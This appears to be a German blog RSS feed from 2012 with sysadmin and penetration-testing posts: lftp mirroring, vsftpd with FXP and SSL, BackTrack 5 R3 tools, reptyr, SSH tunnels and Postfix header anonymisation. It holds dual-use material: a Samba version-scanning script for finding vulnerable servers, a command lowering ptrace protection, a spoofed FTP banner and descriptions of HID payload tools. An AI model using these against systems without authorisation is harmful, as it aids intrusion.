set mirror:order &quot;*.txt [rR]eadme&quot;
set mirror:use-pget-n 4
set mirror:parallel-transfer-count 2
set mirror:parallel-directories true

# Always SSL!
set ftp:ssl-force true

# Foreground cmds first!
set net:connection-takeover true
# Disconnect after 30mins idle!
set net:idle 1800
# Max 32 connections to everywhere!
set net:connection-limit 32
</pre>
<h2>Synchronisations-Skript</h2>
<p>Das folgende Skript synchronisiert das Verzeichnis <tt>REMOTE_DIR</tt> mit dem Verzeichnis <tt>LOCAL_DIR</tt>. Dafür wird eine <tt>screen</tt> Sitzung mit dem Namen lftp-sync im Hintergrund gestartet, in der <tt>lftp</tt> gestartet wird. An diese Sitzung sendet das Skript den <tt>mirror</tt> Befehl und beendet sich nach dem sichergestellt ist, dass eine solche Sitzung auch existiert.</p>
<pre class="brush: bash; title: Quelltext; notranslate">
#!/bin/bash

# Information about the source
HOST=&quot;123.123.123.123&quot;
PORT=21
USER=&quot;sync&quot;
PASS=&quot;foobar&quot;

# download target
LOCAL_DIR=&quot;/mnt/123.123.123.123/forschungsdaten&quot;

# source dir
REMOTE_DIR=&quot;/forschungsdaten&quot;

function lftpcmd()
{
screen -S lftp-sync -p 0 -X stuff &quot;$1&quot;`echo -ne '&#92;&#48;15'` 2&gt;&amp;1 &gt;&gt; /dev/null
}
function lftpkill()
{
screen -ls lftp-sync | grep lftp-sync | cut -d &quot;.&quot; -f 1 | sed -e 's/^[ \t]*//' | xargs kill -9 $1
screen -wipe
}

# Start background lftp session if none or more than 1 is found running
if ! [ &quot;`screen -ls lftp-sync | lftp-sync | wc -l`&quot; -eq 1 ]; then
if [ &quot;`screen -ls lftp-sync | grep lftp-sync | wc -l`&quot; -gt 1 ]; then
lftpkill
fi
# Start a new session
screen -dmS lftp-sync lftp
# Set up the connection using commands sent to screen
lftpcmd &quot;open ftp://$USER:$PASS@$HOST:$PORT/&quot;
fi

# Add a new sync to the queue
lftpcmd &quot;queue mirror -x ^\Incoming/$ -p \&quot;${REMOTE_DIR}\&quot; \&quot;${LOCAL_DIR}\&quot;&quot;
</pre>
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		<title>vsftpd mit virtuellen Benutzern, FXP und Verschlüsselung in 5 Minuten</title>
		<link>http://falkhusemann.de/blog/2012/08/vsftpd-mit-virtuellen-benutzern-fxp-und-verschlusselung-in-5-minuten/</link>
		<comments>http://falkhusemann.de/blog/2012/08/vsftpd-mit-virtuellen-benutzern-fxp-und-verschlusselung-in-5-minuten/#comments</comments>
		<pubDate>Tue, 21 Aug 2012 11:29:50 +0000</pubDate>
		<dc:creator>josen</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Planet Ubuntu]]></category>
		<category><![CDATA[TCP/IP]]></category>
		<category><![CDATA[crypto]]></category>
		<category><![CDATA[fileserver]]></category>
		<category><![CDATA[ftp]]></category>
		<category><![CDATA[fxp]]></category>
		<category><![CDATA[server]]></category>

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<p>Zuerst werden alle nötigen Programme installiert.</p>
<pre class="brush: bash; title: Quelltext; notranslate">
apt-get install vsftpd apache2-utils ssl-cert libpam-pwdfile
</pre>
<p>Es muss die Datei <tt>/etc/vsftpd.conf</tt> wie folgt angepasst werden.</p>
<pre class="brush: bash; title: Quelltext; notranslate">
listen=YES
local_enable=YES
write_enable=YES
dirmessage_enable=YES
use_localtime=YES
xferlog_enable=YES
connect_from_port_20=YES
chroot_local_user=YES
secure_chroot_dir=/var/run/vsftpd/empty
pam_service_name=vsftpd
rsa_cert_file=/etc/ssl/private/vsftpd.pem

# Virtuelle Benutzer verwenden
nopriv_user=shared
virtual_use_local_privs=YES
guest_enable=YES
user_sub_token=$USER
local_root=/home/shared/pub
chroot_local_user=YES
hide_ids=YES

# FXP erlauben
pasv_promiscuous=YES
pasv_enable=YES
pasv_min_port=49152
pasv_max_port=50000
port_promiscuous=YES

# SSL fuer Daten- und Kontrollverbindung erzwingen
ssl_enable=YES
force_local_data_ssl=YES
force_local_logins_ssl=YES

# Kleiner Scherz ;) (http://www.exploit-db.com/exploits/15449/)
ftpd_banner=ProFTPD 1.3.3a

</pre>
<p>Diese Konfigurationsdatei erlaubt es allen angelegten Benutzern das Verzeichnis <tt>/home/shared</tt> zu sehen. Soll jeder Benutzer nur ein eigenes Verzeichnis sehen können, muss die Option <tt>local_root</tt> auf den Wert <tt>/home/shared/pub/$USER</tt>gesetzt werden.</p>
<p>Dann wird das <a href="http://en.wikipedia.org/wiki/Self-signed_certificate">selbst-signierte</a> SSL-Zertifikat für vsftpd angelegt.</p>
<pre class="brush: bash; title: Quelltext; notranslate">
make-ssl-cert /usr/share/ssl-cert/ssleay.cnf /etc/ssl/private/vsftpd.pem
</pre>
<p>Nun muss die <a href="http://en.wikipedia.org/wiki/Linux_PAM">PAM-Authentifizierung</a> von vsftpd angepasst werden, sodass vsftpd die Daten aus einer Datei liest. Dafür wird der Inhalt der Datei <tt>/etc/pam.d/vsftpd</tt> gelöscht und durch folgenden Inhalt ersetzt.</p>
<pre class="brush: bash; title: Quelltext; notranslate">
auth required pam_pwdfile.so pwdfile /etc/ftpd.passwd
account required pam_permit.so
</pre>
<p>Die genannte Datei <tt>/etc/ftpd.passwd</tt> kann durch das Werkzeug <tt>htpasswd</tt> mit Benutzern und Passwörtern befüllt werden.</p>
<pre class="brush: bash; title: Quelltext; notranslate">
# Für den ersten Benutzer
htpasswd -c /etc/ftpd.passwd user1
# Für alle folgenden Benutzer
htpasswd /etc/ftpd.passwd userN
</pre>
<p>Nach einem Neustart von <tt>vsftpd</tt> mittels dem Befehl <tt>/etc/init.d/vsftpd restart</tt> ist der neue FTP-Server einsatzbereit.</p>
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		</item>
		<item>
		<title>BackTrack 5 R3 freigegeben</title>
		<link>http://falkhusemann.de/blog/2012/08/backtrack-5-r3-freigegeben/</link>
		<comments>http://falkhusemann.de/blog/2012/08/backtrack-5-r3-freigegeben/#comments</comments>
		<pubDate>Mon, 13 Aug 2012 17:56:38 +0000</pubDate>
		<dc:creator>josen</dc:creator>
				<category><![CDATA[BackTrack]]></category>
		<category><![CDATA[Planet Ubuntu]]></category>
		<category><![CDATA[Sicherheit]]></category>

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		<description><![CDATA[Vor ein paar Minuten wurde BackTrack, die Distribution für Penetrationstester in einer neuen Version freigegeben. Die aktuelle Version 5 Release 2 wird abgelöst durch Release 3. Was nach einer kleinen Aktualisierung klingt, bringt eine Menge neuer Werkzeuge mit. Wie im Bugtracker des Projekts ersichtlich, gehört dazu nicht nur eine neue Version von Metasploit, sondern auch [...]<div class='yarpp-related-rss'>

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<img src='http://yarpp.org/pixels/a0f8a0e4a5facdaafa5b0df1e6ba7338'/>
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<p>Vor ein paar Minuten wurde <a href="http://www.backtrack-linux.org/">BackTrack</a>, die Distribution für Penetrationstester in einer neuen Version freigegeben. Die aktuelle Version 5 Release 2 wird abgelöst durch <a href="http://www.backtrack-linux.org/backtrack/backtrack-5-r3-released/">Release 3</a>. Was nach einer kleinen Aktualisierung klingt, bringt eine Menge neuer Werkzeuge mit. Wie im <a href="http://redmine.backtrack-linux.org:8080/projects/backtrack/issues">Bugtracker des Projekts</a> ersichtlich, gehört dazu nicht nur eine <a href="http://redmine.backtrack-linux.org:8080/issues/773">neue Version von Metasploit</a>, sondern auch eine komplett neue Werkzeuggattung.</p>
<p><strong>Download <a href="http://www.backtrack-linux.org/backtrack/backtrack-5-r3-released/#more-3878">Links gibt es hier</a> (bisher nur Torrent).</strong></p>
<p>Laut BackTrack Entwicklungsteam gibt über 60 neue Werkzeuge und eine neue Kategorie &#8220;Physical Exploitation&#8221; für physikalische Angriffe. In dieser Kategorie sind die folgenden Werkzeuge enthalten.</p>
<ul>
<li><a href="http://arduino.cc/">arduino</a></li>
</ul>
<p>ist eine Prototyping Plattform für eingebettete Systeme.</p>
<ul>
<li><a href="http://www.chmag.in/article/may2012/kautilya">kautilya</a></li>
</ul>
<p>von Nikhil Mittal, ist in der Lage für Teensy+ Payloads zu erzeugen. Ein Linux emuliert ein HID Gerät, dass als Tastatur oder Maus Eingaben simuliert. kautilya bietet Payloads für diese Funktion, die von <tt>hosts</tt> Datei bearbeiten bis zu <tt>Add a User and enable RDP</tt> reichen. <strong>Genial!</strong></p>
<ul>
<li><a href="http://www.nullsecurity.net/backdoor.html">u3-pwn</a></li>
</ul>
<p>von nullsecurity, ein Werkzeug um beliebige Programme in den sicheren Bereich von SanDisk USB-Sticks einzufügen.</p>
<ul>
<li><a href="http://videojak.sourceforge.net/">videojak</a></li>
</ul>
<p>von Viper Lab, ein Werkzeug um Videotelefonie über IP auf Sicherheit zu prüfen, mit den Hauptfunktionen Session Replay, beliebige AVI-Datei abspielen, oder Denial of Service.</p>
<p>Am Aussehen hat sich nicht viel geändert, im folgenden die ersten Eindrücke von BackTrack 5R3.</p>
<p><a href="http://falkhusemann.de/blog/wp-content/uploads/2012/08/Bildschirmfoto-13.08.2012-194239.png"><img class="alignleft size-thumbnail wp-image-1906" title="Bildschirmfoto - 13.08.2012 - 19:42:39" src="http://falkhusemann.de/blog/wp-content/uploads/2012/08/Bildschirmfoto-13.08.2012-194239-150x150.png" alt="" width="150" height="150" /></a><a href="http://falkhusemann.de/blog/wp-content/uploads/2012/08/Bildschirmfoto-13.08.2012-194140.png"><img class="alignleft size-thumbnail wp-image-1907" title="Bildschirmfoto - 13.08.2012 - 19:41:40" src="http://falkhusemann.de/blog/wp-content/uploads/2012/08/Bildschirmfoto-13.08.2012-194140-150x150.png" alt="" width="150" height="150" /></a><a href="http://falkhusemann.de/blog/wp-content/uploads/2012/08/Bildschirmfoto-13.08.2012-194112.png"><img class="alignleft size-thumbnail wp-image-1908" title="Bildschirmfoto - 13.08.2012 - 19:41:12" src="http://falkhusemann.de/blog/wp-content/uploads/2012/08/Bildschirmfoto-13.08.2012-194112-150x150.png" alt="" width="150" height="150" /></a></p>
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		<item>
		<title>Shell Schnipsel: sambaversion</title>
		<link>http://falkhusemann.de/blog/2012/08/shell-schnipsel-sambaversion/</link>
		<comments>http://falkhusemann.de/blog/2012/08/shell-schnipsel-sambaversion/#comments</comments>
		<pubDate>Sun, 12 Aug 2012 13:58:59 +0000</pubDate>
		<dc:creator>josen</dc:creator>
				<category><![CDATA[Hacks]]></category>
		<category><![CDATA[Planet Ubuntu]]></category>
		<category><![CDATA[snippet]]></category>

		<guid isPermaLink="false">http://falkhusemann.de/blog/?p=1883</guid>
		<description><![CDATA[Ausgabe root@bt:~# sambaversion 192.168.15.236 Version: Samba 3.0.24 Nützlich, wenn man mehrere dutzend Samba Server per Hand auf Schwachstellen prüfen möchte.<div class='yarpp-related-rss'>

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<img src='http://yarpp.org/pixels/a0f8a0e4a5facdaafa5b0df1e6ba7338'/>
</div>
]]></description>
				<content:encoded><![CDATA[<pre class="brush: bash; title: Quelltext; notranslate">
#!/bin/bash
TMPFILE=/tmp/smbrecon-$1

if [ -z $1 ]; then
	echo usage: ./$0 IP
fi

smbclient -L //$1 -N &amp;&gt; ${TMPFILE}
echo &quot;Version: &quot;`head -n1 /tmp/smbrecon-$1 |cut -d &quot;=&quot; -f 4 | cut -d &quot;]&quot; -f 1 | tr -d &quot;[]&quot;`
rm ${TMPFILE}
</pre>
<p><b>Ausgabe</b></p>
<pre>
root@bt:~# sambaversion 192.168.15.236
Version: Samba 3.0.24
</pre>
<p>Nützlich, wenn man mehrere dutzend Samba Server per Hand auf Schwachstellen prüfen möchte.</p>
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		</item>
		<item>
		<title>Laufenden Prozess in screen Sitzung verschieben</title>
		<link>http://falkhusemann.de/blog/2012/08/laufenden-prozess-in-screen-sitzung-verschieben/</link>
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		<pubDate>Sun, 12 Aug 2012 13:53:18 +0000</pubDate>
		<dc:creator>josen</dc:creator>
				<category><![CDATA[Hacks]]></category>
		<category><![CDATA[Planet Ubuntu]]></category>
		<category><![CDATA[hacks]]></category>
		<category><![CDATA[hintergrundprozesse]]></category>

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		<description><![CDATA[Was wenn der nur eben laufende Passwort-Angriff oder das schnell gestartete Backup nicht in einer screen Sitzung läuft, es aber sollte weil die SSH-Sitzung beendet werden soll? In diesem Fall hilft das kleine Werkzeug reptyr weiter. Das Programm ist zusammen mit einer kleinen Änderungen in der Datei sysctl.conf in der Lage, den Elterprozess eines Programmes [...]<div class='yarpp-related-rss'>

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</div>
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				<content:encoded><![CDATA[<p>Was wenn der nur eben laufende Passwort-Angriff oder das schnell gestartete Backup nicht in einer <tt>screen</tt> Sitzung läuft, es aber sollte weil die SSH-Sitzung beendet werden soll? In diesem Fall hilft das kleine Werkzeug <tt><a href="https://github.com/nelhage/reptyr/">reptyr</a></tt> weiter. Das Programm ist zusammen mit einer kleinen Änderungen in der Datei <tt>sysctl.conf</tt> in der Lage, den Elterprozess eines Programmes zu ändern. </p>
<p>Diese Änderungen hat den Effekt, dass ein Programm inklusive Ein- und Ausgabe plötzlich statt unterhalb einer SSH-Sitzung unterhalb einer <tt>screen</tt> Sitzung läuft. </p>
<blockquote><p>
Um sich alle Elter-/Kind-Beziehungen der laufenden Prozesse anzeigen zu lassen, eignet sich der Befehl <b><tt>pstree</tt></b>.
</p></blockquote>
<h2>Installation</h2>
<pre class="brush: bash; title: Quelltext; notranslate">
apt-get install reptyr
</pre>
<p>In der Datei <tt>/etc/sysctl.d/10-ptrace.conf</tt> den Wert <tt>kernel.yama.ptrace_scope</tt> auf <tt>0</tt> setzen oder um das Programm direkt auszuprobieren folgenden Befehl verwenden.</p>
<pre class="brush: bash; title: Quelltext; notranslate">
sudo sysctl -w &quot;kernel.yama.ptrace_scope=0&quot;
</pre>
<h2>Verwendung</h2>
<p>Die Prozessid (<tt>PID</tt>) des zu migrierenden Befehl mit den bekannten Werkzeugen wie <tt>top</tt> oder <tt>ps</tt> suchen und in der <tt>screen</tt> Sitzung den folgenden Befehl eingeben.</p>
<pre class="brush: bash; title: Quelltext; notranslate">
reptyr pid
</pre>
<p>Leider ist der Komfort nicht kostenlos, denn es müssen die restriktiven PTrace Einstellungen gelockert werden. Darum unbedingt die Sicherheits-Implikationen in der Datei <tt>/etc/sysctl.d/10-ptrace.conf</tt> lesen.</p>
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</div>
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		<title>TVHeadend mit Monit überwachen</title>
		<link>http://falkhusemann.de/blog/2012/08/tvheadend-mit-monit-uberwachen/</link>
		<comments>http://falkhusemann.de/blog/2012/08/tvheadend-mit-monit-uberwachen/#comments</comments>
		<pubDate>Sun, 05 Aug 2012 14:38:13 +0000</pubDate>
		<dc:creator>josen</dc:creator>
				<category><![CDATA[Netzwerk Management]]></category>
		<category><![CDATA[Planet Ubuntu]]></category>

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</div>
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<h2>Monit Installation</h2>
<p>Zuest wird die Überwachungssoftware Monit installiert.</p>
<pre class="brush: bash; title: Quelltext; notranslate">
apt-get install monit
</pre>
<p>In der Konfigurationsdatei <tt>/etc/monit/monitrc</tt> müssen drei Paragraphen wie folgt angepasst werden, indem sie einkommentiert (<tt>#</tt> Zeichen entfernen) werden. </p>
<pre class="brush: bash; title: Quelltext; notranslate">
set daemon  120
     with start delay 240
set eventqueue
     basedir /var/monit
     slots 100
set httpd port 2812 and
     use address $serverIP
     allow $lokalesSubnetz/$cidr
</pre>
<h2>TVHeadend Überwachung</h2>
<p>Eine neue Datei in <tt>/etc/monit/conf.d/tvheadend</tt> wie folgt anlegen.</p>
<pre class="brush: bash; title: Quelltext; notranslate">
check process tvheadend with pidfile /var/run/tvheadend.pid
   start program = &quot;/etc/init.d/tvheadend start&quot;
   stop  program = &quot;/etc/init.d/tvheadend stop&quot;
   if failed host localhost port 9981 then restart
   if failed host localhost port 9982 then restart
   if 5 restarts within 5 cycles then timeout
</pre>
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<img src='http://yarpp.org/pixels/a0f8a0e4a5facdaafa5b0df1e6ba7338'/>
</div>
]]></content:encoded>
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		<title>Geschützt: asdasd</title>
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		<comments>http://falkhusemann.de/blog/2012/08/1838/#comments</comments>
		<pubDate>Sun, 05 Aug 2012 14:27:54 +0000</pubDate>
		<dc:creator>josen</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

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<img src='http://yarpp.org/pixels/a0f8a0e4a5facdaafa5b0df1e6ba7338'/>
</div>
]]></description>
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</ol>
<img src='http://yarpp.org/pixels/a0f8a0e4a5facdaafa5b0df1e6ba7338'/>
</div>
]]></content:encoded>
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		</item>
		<item>
		<title>DD-Wrt in Virtualbox verwenden</title>
		<link>http://falkhusemann.de/blog/2012/08/dd-wrt-in-virtualbox-verwenden/</link>
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		<pubDate>Fri, 03 Aug 2012 19:14:32 +0000</pubDate>
		<dc:creator>josen</dc:creator>
				<category><![CDATA[Hacks]]></category>
		<category><![CDATA[Planet Ubuntu]]></category>

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		<description><![CDATA[Für eine virtuelle Umgebung um Penetrationstests durchzuführen, erstelle ich zur Zeit eine komplexe Netzwerktopologie. Virtuell. Abgebildet werden soll das Netzwerk eines kleinen mittelständischen Unternehmens. Dafür soll der Router mit Internetzugang ein DD-Wrt Gerät sein. Geht das in Virtualbox? Zuerst in der Router Datenbank nach dem Suchbegriff Alix suchen. Dort das Abbild mit dem Namen dd-wrt_public_vga.image [...]<div class='yarpp-related-rss'>

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<img src='http://yarpp.org/pixels/a0f8a0e4a5facdaafa5b0df1e6ba7338'/>
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				<content:encoded><![CDATA[<blockquote><p>Für eine virtuelle Umgebung um Penetrationstests durchzuführen, erstelle ich zur Zeit eine komplexe Netzwerktopologie. Virtuell. Abgebildet werden soll das Netzwerk eines kleinen mittelständischen Unternehmens. Dafür soll der Router mit Internetzugang ein DD-Wrt Gerät sein. Geht das in Virtualbox?</p></blockquote>
<p>Zuerst in der <a href="http://www.dd-wrt.com/site/support/router-database">Router Datenbank</a> nach dem Suchbegriff <tt>Alix</tt> suchen. Dort das Abbild mit dem Namen <tt>dd-wrt_public_vga.image</tt> herunterladen. Im Verzeichnis mit dem heruntergeladenen Abbild genügt es den folgenden Befehl einzugeben.</p>
<pre class="brush: bash; title: Quelltext; notranslate">
vboxmanage convertdd dd-wrt_public_vga.image dd-wrt.vdi
</pre>
<p>Mit dem Abbild kann jetzt die virtuelle Maschine erstellt werden. Um möglichst nah ein ALIX Router-Board zu simulieren müssen die Hardware-Einstellungen entsprechend gemacht werden. Da die virtuelle Maschine nur circa 10 Megabyte groß ist, gibt es die <a href="http://pcengines.ch/alix.htm">nach den Spezifikationen</a> erstellte fertige Maschine <a href="https://mx.paketsequenz.de/file/public.php?service=files&amp;token=aec81c108fcc1f75230aee37bc86cbdd0a920a9d&amp;file=/Blog-Downloads/DD-Wrt%20%5BBorder%5D.ova.lzma">hier zum Download</a>.</p>
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<img src='http://yarpp.org/pixels/a0f8a0e4a5facdaafa5b0df1e6ba7338'/>
</div>
]]></content:encoded>
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		<title>OpenSSH Tunnel im Hintergrund (inkl. Monitoring)</title>
		<link>http://falkhusemann.de/blog/2012/08/openssh-tunnel-im-hintergrund-inkl-monitoring/</link>
		<comments>http://falkhusemann.de/blog/2012/08/openssh-tunnel-im-hintergrund-inkl-monitoring/#comments</comments>
		<pubDate>Thu, 02 Aug 2012 14:32:27 +0000</pubDate>
		<dc:creator>josen</dc:creator>
				<category><![CDATA[Debian]]></category>
		<category><![CDATA[Hacks]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Planet Ubuntu]]></category>
		<category><![CDATA[Sicherheit]]></category>
		<category><![CDATA[portweiterleitung]]></category>
		<category><![CDATA[ssh]]></category>
		<category><![CDATA[tunnel]]></category>
		<category><![CDATA[verschlüsselung]]></category>
		<category><![CDATA[vpn]]></category>

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		<description><![CDATA[Oft möchte man eine SSH-Verbindung im Hintergrund permanent laufen lassen. Zum Beispiel, um einen Tunnel geöffnet zu halten. Das ist mit öffentlichen Schlüsseln und den Kommandozeilen Paramtern -f und-N leicht möglich. Hintergrund-Tunnel Ein Befehl wie der folgende ist dazu in der Lage einen entfernten Port auf dem lokalen Computer zugänglich zu machen (wie zum Beispiel [...]<div class='yarpp-related-rss'>

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<img src='http://yarpp.org/pixels/a0f8a0e4a5facdaafa5b0df1e6ba7338'/>
</div>
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<p>Oft möchte man eine SSH-Verbindung im Hintergrund permanent laufen lassen. Zum Beispiel, um einen Tunnel geöffnet zu halten. Das ist mit <a href="http://wiki.ubuntuusers.de/SSH#Der-SSH-Client">öffentlichen Schlüsseln</a> und den Kommandozeilen Paramtern <tt>-f</tt> und-N leicht möglich. </p>
<h2>Hintergrund-Tunnel</h2>
<p>Ein Befehl wie der folgende ist dazu in der Lage einen entfernten Port auf dem lokalen Computer zugänglich zu machen (wie zum Beispiel für Munin).</p>
<pre class="brush: bash; title: Quelltext; notranslate">
/usr/bin/ssh -fqnN -L4959:localhost:4949 root@irgendwo.im.internet
</pre>
<p>Die Parameter von links nach rechts haben folgende Bedeutung.</p>
<ul>
<li><tt>-f</tt> &#8211; In den Hintergrund wechseln, bevor der Befehl ausgeführt wird.</li>
<li><tt>-q</tt> &#8211; Möglichst wenig Ausgaben erzeugen (die aus dem Hintergrund sowieso nicht gelesen werden können)</li>
<li><tt>-n</tt> &#8211; Leitet die Standardeingabe <tt>stdin</tt> aus <tt>/dev/null</tt> weiter und ist Voraussetzung für den Betrieb im Hintergrund</li>
<li><tt>-N</tt> &#8211; Führt auf der entfernten Seite keinen Befehl aus (der unnötig Kontingente belasten würde)</li>
<li><tt> -L4959:localhost:4949</tt> &#8211; Leitet alle Anfragen die lokale an Port <tt>4959</tt> gesendet werden über den Tunnel an den entfernten Server auf dessen Adresse <tt>localhost</tt> und Port <tt>4949</tt> (Standardport von <tt>munin-node</tt>)
</li>
</ul>
<p>Der Befehl funktioniert und erlaubt dem lokalen Benutzer den Zugriff auf den entfernten Port mit Verschlüsselung und gegebenenfalls auch Komprimierung (dafür <tt>-C</tt> den Argumenten hinzufügen).</p>
<h2>Monitoring</h2>
<p><strong>Was aber, wenn der <tt>ssh</tt> Client im Hintergrund stirbt</strong>, oder die Verbindung aus anderen Gründen beendet wird? Diesem Problem lässt sich mit dem Ubuntu und Debian eigenen <tt>start-stop-daemon</tt> und einem kleinen Skript namens <tt>sshpin</tt> beikommen. </p>
<pre class="brush: bash; title: Quelltext; notranslate">
#!/bin/bash
USERHOST=&quot;root@irgendwo.im.internet&quot;
NAME=&quot;haxogen&quot;
TUNNEL_ARGS=&quot; -fqnN -L4959:localhost:4949 ${USERHOST} -MS ~/.ssh/ctl-${NAME}&quot;

# No Changes below here, or they'll haunt you
PATH=/sbin:/usr/sbin:/bin:/usr/bin
SSH=&quot;/usr/bin/ssh&quot;
${SSH} -S &quot;~/.ssh/ctl-${NAME}&quot; -O check ${USERHOST} 2&gt; /dev/null
if [ $? -ne 0 ]; then
	echo &quot;Tunnel ${NAME} nicht gefunden, starte neu.&quot; | logger -t sshpin
	start-stop-daemon -bv --start --exec ${SSH} -- ${TUNNEL_ARGS} | logger -t sshpin
fi
</pre>
<p>Das Skript startet den gewünschten Tunnel mit den angegebenen Argumenten, die in der Variable <tt>TUNNEL_ARGS</tt> hinterlegt werden. Der Clou: Über den wenig bekannten <tt>ControlSocket</tt> Mechanismus von <tt>OpenSSH</tt> wird vor dem Starten geprüft, ob bereits eine Instanz von <tt>ssh</tt> läuft und nur wenn diese weder eine Verbindung aufgebaut hat, noch läuft, wird eine neue Verbindung aufgebaut. Zusätzlich produziert das Skript Einträge unterhalb von <tt>/var/log</tt> die auf das Problem hinweisen und wie folgt aussehen.</p>
<pre class="brush: bash; title: Quelltext; notranslate">
Aug  2 16:16:18 firewall sshpin: Tunnel haxogen nicht gefunden, starte neu.
</pre>
<p>Das Skript kann angepasst werden und mittels dem Befehl <tt>crontab -e</tt> wie folgt in die Cron-Tabelle aufgenommen werden.</p>
<pre class="brush: bash; title: Quelltext; notranslate">
@hourly /usr/local/sbin/sshpin.haxogen
</pre>
<p>Natürlich sind auch mehrere Tunnel kein Problem, dafür wird das Skript kopiert und mit anderem Namen in die Cron-Tabelle eingefügt. Jetzt gibt es keine Ausrede mehr für unverschlüsselt lauschende Munin Instanzen, die leider noch relativ oft zu finden sind. </p>
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		<title>Postfix Header anonymisieren</title>
		<link>http://falkhusemann.de/blog/2012/08/postfix-header-anonymisieren/</link>
		<comments>http://falkhusemann.de/blog/2012/08/postfix-header-anonymisieren/#comments</comments>
		<pubDate>Wed, 01 Aug 2012 18:46:26 +0000</pubDate>
		<dc:creator>josen</dc:creator>
				<category><![CDATA[Anonymität]]></category>
		<category><![CDATA[Debian]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Planet Ubuntu]]></category>
		<category><![CDATA[Sicherheit]]></category>
		<category><![CDATA[TCP/IP]]></category>
		<category><![CDATA[header]]></category>
		<category><![CDATA[mailserver]]></category>
		<category><![CDATA[mta]]></category>
		<category><![CDATA[mua]]></category>
		<category><![CDATA[postfix]]></category>

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		<description><![CDATA[Wird ein eigener Mailserver betrieben, ob in der Firma oder für eine Arbeitsgruppe, fügt dieser Received: Header dem Kopf der E-Mail hinzu. Diese Header können im Falle eines Penetrationstests oder eines nicht erlaubten Angriffs genutzt werden, um Informationen über das interne Netzwerk oder den Standard eines Absender zu erhalten. Auch der User-Agent: Header wird übertragen, [...]<div class='yarpp-related-rss'>

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</div>
]]></description>
				<content:encoded><![CDATA[<p>Wird ein eigener Mailserver betrieben, ob in der Firma oder für eine Arbeitsgruppe, fügt dieser <tt>Received:</tt> Header dem Kopf der E-Mail hinzu. Diese Header können im Falle eines Penetrationstests oder eines nicht erlaubten Angriffs genutzt werden, um Informationen über das interne Netzwerk oder den Standard eines Absender zu erhalten. Auch der <tt>User-Agent:</tt> Header wird übertragen, der vom Mailclient hinzugefügt wird.</p>
<p>Da viele E-Mail Clients diese Information nicht anzeigen, hier ein Auszug aus dem Kopf einer E-Mail.</p>
<blockquote><p><tt><br />
Received: from [172.16.xxx.xxx] (b2b-46-252-xxx-xxx.unitymedia.biz [46.252.xxx.xxx])<br />
	(Authenticated sender: josen)<br />
	by outpost.paketsequenz.de (Postfix) with ESMTPSA id 8AED91032364B;<br />
	Wed, 13 Jun 2012 16:36:27 +0200 (CEST)<br />
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:13.0) Gecko/20120615 Thunderbird/13.0.1<br />
</tt>
</p></blockquote>
<p>Wünschenswert ist es, dass diese Informationen anonymisiert werden. Dafür bietet Postfix die <tt><a href="http://www.postfix.org/header_checks.5.html">header_checks</a></tt> Variable in der Konfigurationsdatei <tt>main.cf</tt> an. Das Hinzufügen von Kopfzeilen-Regeln lässt sich durch Hinzufügen einer weiteren Zeile in der <tt>main.conf</tt> bewerkstelligen, die wie folgt aussieht.</p>
<pre class="brush: bash; title: Quelltext; notranslate">
header_checks = pcre:/etc/postfix/header_checks
</pre>
<p>In der angegebenen Datei können jetzt <a href="http://www.postfix.org/header_checks.5.html">in diesem Format</a> einfache Aktionen definiert werden. Um die Header <tt>Received</tt> und <tt>User-Agent</tt> kommplett zu entfernen reichen die folgenden Zeilen.</p>
<pre class="brush: bash; title: Quelltext; notranslate">
/^Received:/ IGNORE
/^User-Agent:/ IGNORE
</pre>
<p>Diese Lösung funktioniert, ist aber nicht elegant. Zum einen müssen Mailserver <a href="http://tools.ietf.org/html/rfc5321#section-3.7.2">nach RFC5321</a> einen <tt>Received</tt> Header hinzufügen, und zum anderen werden so bearbeitete E-Mail sofort als Spam <strong>enttarnt</strong>. Wünschenswert ist eine Anonymisierung des Received Headers, ohne das RFC zu verletzen und ohne als Spam klassifiziert zu werden. Ein <tt>Received</tt> Header wie der folgende erfüllt diese Anforderungen.</p>
<pre class="brush: bash; title: Quelltext; notranslate">
Received: from [127.0.0.1] (localhost [127.0.0.1]) (Authenticated sender: josen) with ESMTPSA id 23DC81017E64E
</pre>
<p><strong>Und so gehts:</strong></p>
<p>Die folgenden Zeilen in die Datei <tt>header_checks</tt> einfügen.</p>
<pre class="brush: bash; title: Quelltext; notranslate">
/^Received: from \[.*?\] \([\w-.]* \[.*?\]\)\s+\(Authenticated sender: (\w+)\)\s+by outpost.paketsequenz.de \(Postfix\) with (E?SMTPS?A?) id ([A-F\d]+);.*?/
        REPLACE Received: from [127.0.0.1] (localhost [127.0.0.1]) (Authenticated sender: $1) by outpost.pakesequenz.de with $2 id $3
/^User-Agent:/ IGNORE
</pre>
<p>Zusätzlich muss ein Eintrag in der Postfix <tt>main.cf</tt> hinzugefügt werden, der wie folgt lautet.</p>
<pre class="brush: bash; title: Quelltext; notranslate">
smtpd_sasl_authenticated_header = yes
</pre>
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		<title>Hallo Planet Ubuntuusers!</title>
		<link>http://falkhusemann.de/blog/2012/08/hallo-planet-ubuntuusers/</link>
		<comments>http://falkhusemann.de/blog/2012/08/hallo-planet-ubuntuusers/#comments</comments>
		<pubDate>Wed, 01 Aug 2012 18:43:20 +0000</pubDate>
		<dc:creator>josen</dc:creator>
				<category><![CDATA[Planet Ubuntu]]></category>

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		<description><![CDATA[Ab sofort erscheinen ausgewählte Beiträge dieses Blogs auch im Blog Aggregator planet.ubuntuusers. Für die neuen Leser wurde ich gebeten, mich vorzustellen. Mein Name lautet Falk, ich bin Student der Informatik an der TU-Dortmund. Ich betreibe einen Fachblog unter der Domain http://falkhusemann.de/ zu den folgenden Themen: Netzwerksicherheit Penetrationstests Linux Und wie man aus Servern mit teilweise [...]<div class='yarpp-related-rss yarpp-related-none'>

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<p><a href="http://falkhusemann.de/blog/wp-content/uploads/2012/08/logo_transparent_320x288.png"><img src="http://falkhusemann.de/blog/wp-content/uploads/2012/08/logo_transparent_320x288.png" alt="" title="logo_transparent_320x288" width="320" height="288" class="aligncenter size-full wp-image-1784" /></a></p>
<p>Mein Name lautet Falk, ich bin Student der Informatik an der <a href="http://www.cs.tu-dortmund.de/nps/de/Home/">TU-Dortmund</a>. Ich betreibe einen Fachblog unter der Domain <a href="http://falkhusemann.de/"><strong>http://falkhusemann.de/</strong></a> zu den folgenden Themen:</p>
<ul>
